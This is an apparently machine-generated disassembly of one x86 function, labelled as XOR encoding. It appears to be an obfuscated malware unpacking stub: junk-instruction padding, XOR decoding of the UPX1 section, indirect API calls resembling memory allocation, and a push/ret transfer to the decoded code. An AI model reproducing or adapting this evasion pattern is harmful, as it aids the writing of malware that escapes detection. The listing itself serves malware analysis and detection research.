Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3af5ffc9
dec esi
sub edx, 1
and edx, edx
popal
add edx, 0xdd812695
add edx, 1
or esi, esi
mov edx, 0
mov esi, eax
add ecx, 0x6ac2bc09
not ecx
sub edi, ecx
mov ebx, esi
and ecx, edi
not ecx
sub ecx, edi
mov eax, ebx
and ecx, edi
not ecx
add edi, 0xd622185e
inc edx
mov ecx, 0xa9c389f4
mov ecx, edi
sub edi, 0x592101b1
cmp edx, 0x10060e5
jne 0x47b457
mov edi, 0xf5630174
not ecx
and esi, edx
add esi, esi
add edx, 0xf2989d29
mov ebx, 0x47b21e
and edx, eax
sub eax, esi
not edx
mov edi, 0x47b412
add edx, eax
not edx
add esi, esi
mov ecx, dword [ebx]
sub edx, 1
sub edx, 1
and ecx, 0xff
sub esi, 0x7ece177d
not edx
dec edx
xor dword [edi], ecx
not esi
not edx
dec edx
inc edi
sub eax, edx
add eax, 0x50dd0a24
add ebx, 1
add edx, esi
not esi
cmp edi, entry0
jl 0x47b4b8
add edx, eax
mov esi, edx
mov edx, esi
and esi, eax
sub ebx, 0xfa6c151e
add edx, 0xb8250c40
mov ecx, 0x4d2d7f1a
mov edi, 0x47b416
dec edx
sub ebx, esi
and edx, edx
mov edi, dword [edi]
inc ecx
add ecx, edx
and ebx, ecx
mov edi, dword [edi]
add esi, 0x1fef4ad9
sub ecx, edx
push edi
or esi, ecx
sub edx, 0x73891743
mov edi, 0x47b412
add ecx, 0xde3469d
mov edx, ebx
and edx, ebx
mov edi, dword [edi]
add ebx, edx
not ebx
mov edi, dword [edi]
inc esi
sub ecx, esi
mov ecx, 0x7b877cf6
push 0x47b41a
sub esi, ebx
inc ebx
sub esi, ecx
call edi
sub ebx, edx
and esi, edx
and esi, esi
pop edi
sub esi, 0xa9db8387
add ecx, 0x665cde8f
sub esp, 4
mov dword [esp], 0x47b427
dec esi
mov ecx, 0x510182f3
push eax
mov edx, ecx
mov ebx, ecx
and ebx, ecx
call edi
mov edx, 0x9f121c10
sub esi, 0x555550ea
add edx, 0xa2bb0ad2
push 0x40
add ecx, 0x6d359083
mov ebx, esi
push 0x3000
or esi, edx
and esi, esi
push 0x20000667
add edx, 0xf5cedea0
mov ecx, edx
push 0
add esi, 0x48a1f818
add esi, ecx
sub esi, edx
call eax
mov ebx, esi
mov esi, edx
add edx, ecx
add eax, 0x200005af
or edx, edx
or edx, esi
mov edi, 0x1b1fdb64
sub edx, ecx
add edx, ecx
mov esi, 0x4c7d491e
mov dword [eax], edi
sub ecx, 0x380f51ba
mov ecx, esi
or esi, ecx
mov edi, dword [eax]
not edx
and edx, ecx
add ecx, 0xa5f3ab01
cmp edi, 0x1b1fdb64
je 0x47b619
mov ebx, 0
mov dword [ebx], ecx
or esi, esi
mov esi, 0xc2ef07c4
and ecx, esi
not esi
add ecx, ebx
sub edx, esi
mov esi, 0xee6c77de
mov edi, section.UPX1
sub edx, esi
sub edx, 0xe0051264
mov ebx, 0x47b21d
add edx, 0x73b3264c
not esi
add edx, esi
mov eax, 0
mov edx, esi
mov edx, esi
dec edx
mov ecx, 0x47b21e
and esi, esi
sub esi, edx
lea ecx, [ecx + eax]
mov esi, 0xc8ae2e64
sub edx, 0xbd3c8d69
mov ecx, dword [ecx]
inc edx
mov esi, 0xe7a65cc4
and ecx, 0xff
sub esi, edx
add esi, esi
add edx, 0x1f743307
inc eax
and esi, esi
add esi, esi
cmp eax, 0x1f4
jne 0x47b694
mov eax, 0
mov edx, 0x17ae8031
mov edx, esi
sub edx, esi
mov esi, edx
xor dword [edi], ecx
mov edx, 0x2c0f15f4
or esi, edx
add esi, edx
add edi, 2
and edx, esi
or edx, esi
cmp edi, ebx
jl 0x47b653
and esi, esi
and edx, esi
mov edx, 0xa83837fd
add esi, 0x2fb91e3f
mov esi, edx
mov esi, section.UPX1
or ebx, edi
add edi, ebx
add ebx, 0x3189d2e
mov eax, section.UPX1
or ebx, edi
sub edi, 0xe8e6f6e7
mov edx, 0x47b21d
add edi, 0x8a6493d7
mov edi, ebx
mov ecx, 0
not edi
not edi
sub ebx, edi
mov cl, byte [eax]
mov ebx, 0xe0db8a60
mov edi, ebx
mov byte [esi], cl
add ebx, 0xab241026
sub edi, 0x2bab7b86
add ebx, 0x50dcea67
inc esi
or edi, edi
or ebx, ebx
add eax, 2
mov edi, ebx
sub edi, ebx
mov edi, 0xd9f5bff1
cmp eax, edx
jle 0x47b701
add ebx, 0x7afa3cf8
mov edi, 0x3d38cfb
mov esi, edx
sub edx, 0xc993b2ff
and esi, esi
push 0x45e6a0
not esi
not esi
ret